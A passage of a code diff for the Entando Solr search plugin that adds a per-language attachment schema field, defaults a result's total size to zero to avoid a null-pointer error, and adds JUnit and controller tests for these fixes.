queried by SearcherDAO when includeAttachments=true. It must exist in the + // schema up front; otherwise a full-text search with includeAttachments on an + // environment where no attachment content has been indexed queries an unknown field + // and fails. Same type/multiplicity as the main language field. + this.checkField(lang.getCode() + SolrFields.ATTACHMENT_FIELD_SUFFIX, + SolrFields.TYPE_TEXT_GENERAL, true); } } diff --git a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResult.java b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResult.java index d5ac79cfb..26cdaeb85 100644 --- a/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResult.java +++ b/solr-plugin/src/main/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResult.java @@ -20,7 +20,10 @@ */ public class SolrFacetedContentsResult extends FacetedContentsResult { - private Integer totalSize; + // Defaults to 0 so a search that returns no result - including one where the Solr query + // failed and the exception was swallowed in SearcherDAO.executeQuery - still yields a valid + // total. A null here would make PagedMetadata throw an NPE while building the response. + private Integer totalSize = 0; public SolrFacetedContentsResult() { super(); diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsCheckerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsCheckerTest.java new file mode 100644 index 000000000..2d3b722d7 --- /dev/null +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsCheckerTest.java @@ -0,0 +1,79 @@ +/* + * Copyright 2021-Present Entando Inc. (http://www.entando.com) All rights reserved. + * + * This library is free software; you can redistribute it and/or modify it under + * the terms of the GNU Lesser General Public License as published by the Free + * Software Foundation; either version 2.1 of the License, or (at your option) + * any later version. + * + * This library is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more + * details. + */ +package org.entando.entando.plugins.jpsolr.aps.system.solr; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +import com.agiletec.aps.system.common.entity.model.attribute.AttributeInterface; +import com.agiletec.aps.system.services.lang.Lang; +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; +import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrFields; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +class SolrFieldsCheckerTest { + + private Lang lang(String code) { + Lang lang = new Lang(); + lang.setCode(code); + lang.setDescr(code); + return lang; + } + + @Test + void shouldCreateMainAndAttachmentFieldPerLanguage() { + // No pre-existing fields, no content-type attributes: only the base + per-language + // fields are generated. Each language must yield BOTH the main "" field and the + // "_attachment" field, so a full-text search with includeAttachments=true never + // queries a field the schema doesn't know about. + SolrFieldsChecker checker = new SolrFieldsChecker( + Collections.emptyList(), + Collections.emptyList(), + List.of(lang("en"), lang("it"))); + + List createdFieldNames = checker.checkFields().getFieldsToAdd().stream() + .map(field -> (String) field.get(SolrFields.SOLR_FIELD_NAME)) + .collect(Collectors.toList()); + + assertTrue(createdFieldNames.contains("en"), createdFieldNames.toString()); + assertTrue(createdFieldNames.contains("it"), createdFieldNames.toString()); + assertTrue(createdFieldNames.contains("en" + SolrFields.ATTACHMENT_FIELD_SUFFIX), + createdFieldNames.toString()); + assertTrue(createdFieldNames.contains("it" + SolrFields.ATTACHMENT_FIELD_SUFFIX), + createdFieldNames.toString()); + } + + @Test + void attachmentFieldMatchesMainLanguageFieldTypeAndMultiplicity() { + SolrFieldsChecker checker = new SolrFieldsChecker( + Collections.emptyList(), + Collections.emptyList(), + List.of(lang("en"))); + + List> added = checker.checkFields().getFieldsToAdd(); + Map main = added.stream() + .filter(f -> "en".equals(f.get(SolrFields.SOLR_FIELD_NAME))).findFirst().orElseThrow(); + Map attachment = added.stream() + .filter(f -> ("en" + SolrFields.ATTACHMENT_FIELD_SUFFIX).equals(f.get(SolrFields.SOLR_FIELD_NAME))) + .findFirst().orElseThrow(); + + Assertions.assertEquals(main.get(SolrFields.SOLR_FIELD_TYPE), + attachment.get(SolrFields.SOLR_FIELD_TYPE)); + Assertions.assertEquals(main.get(SolrFields.SOLR_FIELD_MULTIVALUED), + attachment.get(SolrFields.SOLR_FIELD_MULTIVALUED)); + } +} diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResultTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResultTest.java new file mode 100644 index 000000000..2e9034edc --- /dev/null +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResultTest.java @@ -0,0 +1,28 @@ +/* + * Copyright 2021-Present Entando Inc. (http://www.entando.com) All rights reserved. + * + * This library is free software; you can redistribute it and/or modify it under + * the terms of the GNU Lesser General Public License as published by the Free + * Software Foundation; either version 2.1 of the License, or (at your option) + * any later version. + * + * This library is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more + * details. + */ +package org.entando.entando.plugins.jpsolr.aps.system.solr.model; + +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +class SolrFacetedContentsResultTest { + + @Test + void totalSizeDefaultsToZero() { + // A brand-new result (e.g. returned when SearcherDAO.executeQuery swallows a Solr + // exception) must report a non-null total. Otherwise PagedMetadata throws an NPE while + // building the response, turning a swallowed Solr error into an HTTP 500. + Assertions.assertEquals(0, new SolrFacetedContentsResult().getTotalSize()); + } +} diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java index 7e741452f..9f76ba558 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java @@ -188,6 +188,23 @@ void testValidationErrorsReturn400() throws Exception { .andExpect(status().isBadRequest()); } + @Test + void testFullTextWithAttachmentsDoesNotFail() throws Exception { + // Full-text search with includeAttachments=true queries the "_attachment" field. + // That field must exist in the schema even when no attachment content has been indexed, + // otherwise the search fails with HTTP 500 instead of returning results from the main field. + mockMvc.perform(get("/plugins/advcontentsearch/contents") + .param("text", "entando") + .param("includeAttachments", "true") + .param("lang", "en")) + .andExpect(status().isOk()); + mockMvc.perform(get("/plugins/advcontentsearch/facetedcontents") + .param("text", "entando") + .param("includeAttachments", "true") + .param("lang", "it")) + .andExpect(status().isOk()); + } + @Test void testMalformedFilterWithoutFieldReturns400() throws Exception { // A filter that carries search intent (value + operator) but no attribute/entityAttr